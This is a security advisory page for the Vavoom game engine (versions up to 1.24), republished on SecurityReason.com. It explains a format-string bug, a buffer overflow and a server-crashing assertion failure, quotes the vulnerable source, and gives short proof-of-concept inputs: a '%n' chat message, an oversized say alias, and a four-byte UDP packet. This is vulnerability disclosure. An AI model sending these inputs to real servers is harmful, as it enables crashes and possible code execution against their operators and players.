SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

Vavoom <= 1.24 Multiple vulnerabilities


Arrow  SecurityAlert : 3057
Arrow  CVE : CVE-2007-4535
Arrow  CVE : CVE-2007-4534
Arrow  CVE : CVE-2007-4533
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote Exploit : No
Arrow  Local Exploit : Yes
Arrow  Exploit Available : No
Arrow  Credit : Luigi Auriemma
Arrow  Published : 27.08.2007

Arrow  Affected Software : Vavoom <= 1.24



Arrow  Advisory Content :  

#######################################################################

Luigi Auriemma

Application: Vavoom
http://www.vavoom-engine.com
Versions: Windows, DOS, *nix, *BSD and more
Platforms: <= 1.24
Bugs: A] Say format string
B] BroadcastPrintf buffer-overflow
C] "NewLen >= 0" assertion failed
Exploitation: remote, versus server
Date: 23 Aug 2007
Author: Luigi Auriemma
e-mail: aluigi@autistici.org
web: aluigi.org


#######################################################################


1) Introduction
2) Bugs
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


Vavoom is an open source engine based on the GPLed Doom engine with
many interesting features.


#######################################################################

=======
2) Bugs
=======

--------------------
A] Say format string
--------------------

format string vulnerability exploitable through the sending of a chat
message, the BroadcastPrintf function is called passing a string
containing the name of the user plus his message without the proper
format argument.

from sv_main.cpp:

COMMAND(Say)
{
guard(COMMAND Say);
if (Source == SRC_Command)
{
#ifdef CLIENT
ForwardToServer();
#endif
return;
}
if (Args.Num() < 2)
return;

VStr Text = Player->PlayerName;
Text += ":";
for (int i = 1; i < Args.Num(); i++)
{
Text += " ";
Text += Args[i];
}
GLevelInfo->BroadcastPrintf(*Text);
GLevelInfo->StartSound(TVec(0, 0, 0), 0,
GSoundManager->GetSoundID("misc/chat"), 0, 1.0, 0);
unguard;
}


----------------------------------
B] BroadcastPrintf buffer-overflow
----------------------------------

buffer-overflow vulnerability located in the BroadcastPrintf function,
the steps for exploiting it are the same of the previous bug.

from p_thinker.cpp:

void VThinker::BroadcastPrintf(const char *s, ...)
{
guard(VThinker::BroadcastPrintf);
va_list v;
char buf[1024];

va_start(v, s);
vsprintf(buf, s, v);
va_end(v);

for (int i = 0; i < svs.max_clients; i++)
if (Level->Game->Players[i])
Level->Game->Players[i]->eventClientPrint(buf);
unguard;
}


---------------------------------
C] "NewLen >= 0" assertion failed
---------------------------------

a failed assert in the following function called, for example, when a
string is passed with an invalid size allows an attacker to terminate
the server.

from str.cpp:

void VStr::Resize(int NewLen)
{
guard(VStr::Resize);
check(NewLen >= 0);
...


#######################################################################

===========
3) The Code
===========


A]
send a chat message containing %n%n%n%n%s

B]
open the cfg file, for example vavoombasevdoom2config.cfg, and add
the following lines

alias bof "say aaa...(992_'a's)...aaa"
name "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"

C]
send an UDP packet (port 26000) containing the following hex bytes:

80 02 ff 00


#######################################################################

======
4) Fix
======


I have sent a mail to the developer


#######################################################################





Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc:fts_*() Multiple Denial of Service

Security Risk Medium- 2009-10-02

The fts functions are provided for traversing UNIX file hierarchies...

Apache RSS Apache Alert

» Apache 1.3.41 mod_proxy
   Integer overflow (code
   execution)

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion in work
   directory

» Apache Tomcat 6.0.20 and
   5.5.28 insecure partial
   deploy after failed
   undeploy

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion and/or
   alteration

PHP RSS PHP Alert

» PHP 5.2.12/5.3.1 Multiple
   Vulnerabilities

» PHP 5.2.11 libgd multiple
   vulnerabilities

» PHP 5.2.11 tempnam()
   safe_mode bypass

» PHP 5.3.0 5.2.11
   posix_mkfifo()
   open_basedir bypass

Copyright © SecurityReason.com. All Rights Reserved.